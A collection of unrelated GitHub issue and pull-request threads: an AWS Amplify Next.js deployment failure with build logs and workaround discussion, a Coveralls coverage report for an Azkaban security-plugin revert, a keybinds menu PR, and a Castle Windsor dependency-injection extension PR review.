2021-05-18T23:23:03.924Z [INFO]: Attention: Next.js now collects completely anonymous telemetry regarding usage.
2021-05-18T23:23:03.925Z [INFO]: This information is used to shape Next.js' roadmap and prioritize features.
                                 You can learn more, including how to opt-out if you'd not like to participate in this anonymous program, by visiting the following URL:
                                 https://nextjs.org/telemetry
2021-05-18T23:23:08.642Z [INFO]: info  - Creating an optimized production build...
2021-05-18T23:23:22.927Z [INFO]: info  - Compiled successfully
                                 info  - Collecting page data...
2021-05-18T23:23:23.547Z [INFO]: info  - Generating static pages (0/3)
2021-05-18T23:23:24.157Z [INFO]: info  - Generating static pages (3/3)
2021-05-18T23:23:24.157Z [INFO]: info  - Finalizing page optimization...
2021-05-18T23:23:24.162Z [INFO]:
2021-05-18T23:23:24.179Z [INFO]: Page                                Size     First Load JS
                                 ┌ ○ /                               109 kB          195 kB
                                 ├   └ css/94cfd6257228ee105d01.css  656 B
                                 ├   /_app                           0 B            86.4 kB
                                 └ ○ /404                            3.05 kB        89.4 kB
                                 + First Load JS shared by all       86.4 kB
                                 ├ chunks/433.67dc2c.js            10.8 kB
                                 ├ chunks/778.d75648.js            6.84 kB
                                 ├ chunks/795.aaad3c.js            21.1 kB
                                 ├ chunks/commons.98f01d.js        3.14 kB
                                 ├ chunks/framework.4a6a71.js      42.4 kB
                                 ├ chunks/main.5ec178.js           157 B
                                 ├ chunks/pages/_app.5272ad.js     921 B
                                 └ chunks/webpack.44a62b.js        993 B
2021-05-18T23:23:24.179Z [INFO]: λ  (Server)  server-side renders at runtime (uses getInitialProps or getServerSideProps)
                                 ○  (Static)  automatically rendered as static HTML (uses no initial props)
                                 ●  (SSG)     automatically generated as static HTML + JSON (uses getStaticProps)
                                 (ISR)     incremental static regeneration (uses revalidate in getStaticProps)
2021-05-18T23:23:24.412Z [INFO]: info  - Loaded env from /codebuild/output/src803710412/src/sdn-product/tools/upc-tv/.env
2021-05-18T23:23:24.637Z [INFO]: info  - Using webpack 5. Reason: no custom webpack configuration in next.config.js https://nextjs.org/docs/messages/webpack5
2021-05-18T23:23:24.820Z [INFO]: info  - using build directory: /codebuild/output/src803710412/src/sdn-product/tools/upc-tv/.next
2021-05-18T23:23:24.822Z [INFO]: info  - Copying "static build" directory
2021-05-18T23:23:24.824Z [INFO]: info  - No "exportPathMap" found in "next.config.js". Generating map from "./pages"
2021-05-18T23:23:24.825Z [INFO]: info  - Launching 3 workers
2021-05-18T23:23:24.825Z [INFO]: info  - Exporting (0/2)
2021-05-18T23:23:24.825Z [INFO]: info  - Copying "public" directory
2021-05-18T23:23:25.033Z [INFO]: info  - Exporting (2/2)
2021-05-18T23:23:25.033Z [INFO]: Export successful. Files written to /codebuild/output/src803710412/src/sdn-product/tools/upc-tv/out
2021-05-18T23:23:25.044Z [INFO]: # Executing command: npm run export
2021-05-18T23:23:25.195Z [INFO]: ><EMAIL_ADDRESS>export /codebuild/output/src803710412/src/sdn-product/tools/upc-tv
                                 > echo 'Temporarily disabled: https://docs.aws.amazon.com/amplify/latest/userguide/server-side-rendering-amplify.html#deploy-nextjs-app'
2021-05-18T23:23:25.199Z [INFO]: Temporarily disabled: https://docs.aws.amazon.com/amplify/latest/userguide/server-side-rendering-amplify.html#deploy-nextjs-app
2021-05-18T23:23:25.203Z [INFO]: # Completed phase: build
2021-05-18T23:23:25.203Z [INFO]: ## Build completed successfully
2021-05-18T23:23:25.204Z [INFO]: # Starting caching...
2021-05-18T23:23:25.259Z [INFO]: Creating cache artifact...
2021-05-18T23:23:25.265Z [INFO]: # Cache artifact is: 0MB
2021-05-18T23:23:25.265Z [INFO]: # Uploading cache artifact...
2021-05-18T23:23:25.368Z [INFO]: # Caching completed
2021-05-18T23:23:25.373Z [INFO]: No custom headers found.
2021-05-18T23:23:25.420Z [INFO]: # Starting build artifact upload process...
2021-05-18T23:23:25.506Z [INFO]: # Build artifact is: 0MB
2021-05-18T23:23:25.506Z [INFO]: # Uploading build artifact '__artifacts.zip'...
2021-05-18T23:23:25.512Z [INFO]: # Build artifact is: 0MB
2021-05-18T23:23:25.512Z [INFO]: # Uploading build artifact '__artifactsHash.zip'...
2021-05-18T23:23:25.692Z [INFO]: # Build artifact upload completed
2021-05-18T23:23:25.692Z [INFO]: # Starting environment caching...
2021-05-18T23:23:25.692Z [INFO]: # Uploading environment cache artifact...
2021-05-18T23:23:25.905Z [INFO]: # Environment caching completed

Oddly enough this same application/repository (git mirror) works fine on another AWS account...
Expected behavior
A successful deploy.
Reproduction steps

Push a commit to branch Amplify App is watching

Build Settings
version: 1
        applications:
          - frontend:
              phases:
                preBuild:
                  commands:
                    - nvm install
                    - nvm use
                    - npm ci
                build:
                  commands:
                    - ./build-env-vars.sh ${AmplifySecretsVersion} ${RootStackName}
                    - npm run build
                    - npm run export
              artifacts:
                baseDirectory: out
                files:
                  - '**/*'
              cache:
                paths:
                  - node_modules/**/*
            appRoot: tools/upc-tv

Additional information
No response

hi @peterwmwong the issue is because from the build history it looks like the app started off being detected as an SSR app, but then was switched back to SSG and the service role was removed
and since the service role was removed our build didn't have permission to change the framework back to SSG (causing the issue you see in the Deploy step).
I manually update your framework to SSG, so please try another build and let us know if you continue to experience the issue. Thanks!

@Athena96 Thanks for taking a look. Unfortunately, I just tried (pushed a whitespace commit, no config changes) and got the same results.  This latest build/deploy is Build 10.

@Athena96 Is there a settings page/AWS CLI command/log that indicates what mode (SSG vs SSR) an Amplify App is detected as?

@Athena96 can you please re-open this issue #1847
This might be related. I'm afraid you're not receiving an alert since the issue is closed.

@peterwmwong you can see the framework we detected for your app in the General App Settings page for your app.
@jericopulvera I will re-open the #1847

@Athena96

For the knowing the framework, I checked my App Settings. Not sure the absence of a is a bug, or simply saying "no framework detected"

Not sure you saw my earlier comment about retrying a build/deploy and it still failed.

@peterwmwong - Have you resolved the issue yet? We're also have the exact same problem. This problem started a week ago for us.

@Athena96 - Could you update our app to SSG too? How can we do this on our own?

@ACPK - Doing some experiments on another account, I think a workaround is to just recreate the Amplify App with the documented package.json incantations so Amplify detects it's SSG and not SSR for the first build/deploy.
Which depending on how your situation might be easy or hard.  For us, we're using CloudFormation to create the Amplify App, so we...

Commented out the Amplify App resources from the CloudFormation template.yaml
Deploy CloudFormation (verify Amplify App is removed in the Amplify Console)
Update the package.json (one npm script with next build && next export, instead of next build/next export as separate npm scripts)
Uncomment out the Amplify App resources from the CloudFormation template.yaml
Deploy CloudFormation (verify Amplify App is created in the Amplify Console)
Trigger a build (In our case, push a commit to the git branch being watched by the Amplify App)
Verify a successful build/deploy (build log should not contain "Starting SSR Build..." and deploy actually... deploys)

@Athena96 - If I don't hear back tomorrow, I'll just go forward with the above workaround and hope it works in this account.  Would still be interested in answers to be previous question.  Thanks.

@peterwmwong - I was able to temporarily fix it by creating a new app. However, our Amplify Framework Goes from "SSG" to blank when we trigger a new deploy via hit push.

Encountering same issue. I removed next as a dependency in package.json, as it's only used in a separate portion of the site, and build script is set to node scripts/build.js. Amplify still errors out at Starting SSR build..

Same Issue here and the solution might be just switching the App to SSG again, so how we can change that one manually?
AppID: d3td4in2dnk19a Region: ap-southeast-2

I had the same issue and resolved it by adding administrator access to the service role.

Here are the steps for converting an existing SSR app to SSG: https://github.com/aws-amplify/amplify-console/blob/master/FAQ.md#convert-an-ssr-app-to-ssg
Closing this issue, please feel free to re-open if you are still facing the issue

@Athena96 what do you do if you are not even using Next.js as your Amplify deploys have started failing? I've never used SSR in this create-react-app project.


Revert changes for updated kerberos principal

Pull Request Test Coverage Report for Build 5329

0 of 24 (0.0%)  changed or added relevant lines in 1 file are covered.
1 unchanged line in 1 file lost coverage.
Overall coverage increased (+0.08%) to 40.814%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

azkaban-hadoop-security-plugin/src/main/java/azkaban/security/HadoopSecurityManager_H_2_0.java
0
24
0.0%

Files with Coverage Reduction
New Missed Lines
%

azkaban-web-server/src/main/java/azkaban/flowtrigger/FlowTriggerService.java
1
60.08%

Totals

Change from base Build 5322:
0.08%

Covered Lines:
13199

Relevant Lines:
32339

💛  - Coveralls


Keybinds menu

Add a keybind menu to get/set keybinds

This won't save between games, it's just a proof of concept


Change WindsorServiceProviderFactory to follow SOLID behaviour

Removed ServiceCollectionExtensions as code was related only to logic utilized by ServiceProviderFactory
Added ServiceProviderFactory Base with small methods all virtual to allow override
Rename to ServiceDescriptorExtensions for CreateWindsorRegistration

#535

@ltines @jonorossi please consider this change. I have made the IServiceProviderFactory follow more a SOLID approach and contained relevant logic fo the IServiceProviderFactory in a baes class.
I think this change is very important for the openness of the package. I had the same discussion with Gary when making aspnetcore2.x. It was also closed initially but was opened by demand later. Maybe this time best to allow substitution from the start?

@jonorossi @ltines After converting one of my largest apsnetcore apps. That uses a multitude of special features from aspnectore. I have added extra methods in HostBuilderExtensions to allow the openness needed to control the container and factory.
Any thoughts?
Missing tests. Waiting for dialogue about changes. However without this for of an update, i cannot see that the castle implementation will allow migration to 3.x of larger aspnetcore applications.
This openness and control of pre-serviceprovider-build registrations will also give the castle implementation the competitors cannot... I.e. you can use the container for all the service collection registrations.

@ltines any thoughts on this PR.
Personally I need the container before ConfigureContainer is called. I also need it when ConfigureServices are called.
This fixes this issue

@jonorossi @ltines
Please, should we have a dialogue about these changes?
I know the current implementation will give many issues, as we need access to the container before the service collections are made.
Some service collections additions use options that require usage of class implementations (eg modelbinder)
For this reason it is optimal to already have implematons in the container, so we have control already of what is being used.
Also, eg the cookie options can need implementations (eg for a factory).
Thoughts please?
In sort, I don't see any reason why we shouldn't open up the implementation for flexibility to allow access to the container initially...
Thought please, I know I will not be able to use the full DI without this change (so far I have forked and created own package)

@generik0 I'm happy to facilitate changes to Windsor that the community wants, however I don't have time to be involved in the specific direction of this extension project, I won't be commenting on the specific changes. If @ltines is no longer interested or doesn't have time to be involved with this extension library, then I recommend getting at least one other person involved, there appeared to be interest from many users in the issue.

At my company we are at a crossroads now with Castle Windsor and Asp.Net Core. Due to how the two libraries are no longer working well together, we have to either support CastleWindsor or migrate our IoC to MS.
Looking at https://docs.microsoft.com/en-us/aspnet/core/fundamentals/dependency-injection?view=aspnetcore-3.1#request-services it seems that Microsoft does not even list Castle Windsor as a supported IoC for ASP.NET Core.

Hi @AntonioDrusin it does support aspnetcore 2.x and now 3.x
I have been working with it the last weeks, and this new extension is very very good (especially after my changes ;- )
Everything is working. NodeService, Authentication, SignalR, swagger, rest api, it all!
The package is in beta because we still need people like you and you company to try the beta package...
If you need any help, just let me know ;-)
PS, with these changes I have made, the container is usable before the service collections are built. Meaning more versatility than any other DI that can only be "conforming"
This package can now be a "conforming" DI and a little more ;-)

@generik0 ok, let me pull this branch and give it a test. One of my main issues was the lifetime of transient services. I'll see what it looks like in this branch. Thank you.

@AntonioDrusin the prerelease is also on nuget.org, so you can install the current beta from there. However, this does not give access to the container in the servicecollection registration in startup.
What is your worry about the transient? For me it works as standard...

I filed https://github.com/castleproject/Windsor/issues/530 about that. In a simple proof of concept it does not look like transient dependencies of controllers get released when the controller gets released.

Very interesting @AntonioDrusin i did not catch this before
When I get a chance I will need to look at it....
I agree with you that the transients should be release when the controller/scope is release...

I agree with your changes @generik0. There are a lot of important choices made in the WindsorServiceProviderFactoryBase class. I feel it is important to allow clients of this library to adjust subresolver behavior and the scope behaviors that are determined by that class.
It is a good change to put all the windsor container levers in one place.

With this change we probably want to update docs/net-dependency-extension.md to cover the way the new configuration is open to change.

I am happy to volunteer to provide an update to the md file if you want.

@jonorossi I am looking at this extension to use within my company's microservices. While I can probably use the vanilla version of this extension it would be preferable to have the more extensible version that this PR provides. Are there any steps we should follow to get this PR merged? Thank you.

@AntonioDrusin please Update .md If you have time.
I am Justine my b@&$$s right now to make a release (That is still on 2.2)
Any help would be Great!!!!

@jonorossi please note. I have tested the facility on a Esther large web solution.
With signlar, special cookie authentication, gzip, binders, special rest controllers and routning.
I need to open the facility up like this to get it to work.
However the facility and these changes are tested to be Working.
(Except for the release issue @AntonioDrusin has talked about That still needs Looking into).
If @AntonioDrusin (or I) improve the readme, can we please get it into master. We need this change! :-/
@jonorossi ? :-)

@AntonioDrusin no idea really. As I commented earlier in this thread I'm happy to do a final code review and get the changes released, however don't have time for the back and forth to work out what it should actually do and fit into the Microsoft Extensions project. Since there appeared to be some disagreement on how this facility should work I asked in that comment above for one other person who is actually planning to use this be involved to review these changes and then we can move forward.
If it isn't clear, what I'm asking for is for people who actually want to use this stuff to actually review it and see if it works with their project, I'm no one special, don't underestimate your ability to contribute, nothing is perfect but without contributions (in the form of code, code reviews, bug reports, documentation, etc) things don't move forward. Everyone should have GitHub permissions to comment on the code, I just want to see a seconder that is happy with the changes.

@generik0 there is still a broken unit test with these changes:
Castle.Windsor.Extensions.DependencyInjection.Tests.WindsorScopedServiceProviderTests.DisposesInReverseOrderOfCreation [30ms]
  Error Message:
   System.ArgumentOutOfRangeException : Index was out of range. Must be non-negative and less than the size of the collection.
Parameter name: index
  Stack Trace:
     at Microsoft.Extensions.DependencyInjection.Specification.DependencyInjectionSpecificationTests.DisposesInReverseOrderOfCreation()
Test Run Failed.
Total tests: 146
     Passed: 145
     Failed: 1
 Total time: 4.5018 Seconds

@jonorossi that is Strange. It was passing when i made the changed...
i Will check

@jonorossi apart from doco Update, is there anything missing before we can completed this merge?

@generik0 sorry for being so slack responding to this, a bit going on this end. Looks great, I assume you'll submit another pull request for documentation and changelog updates.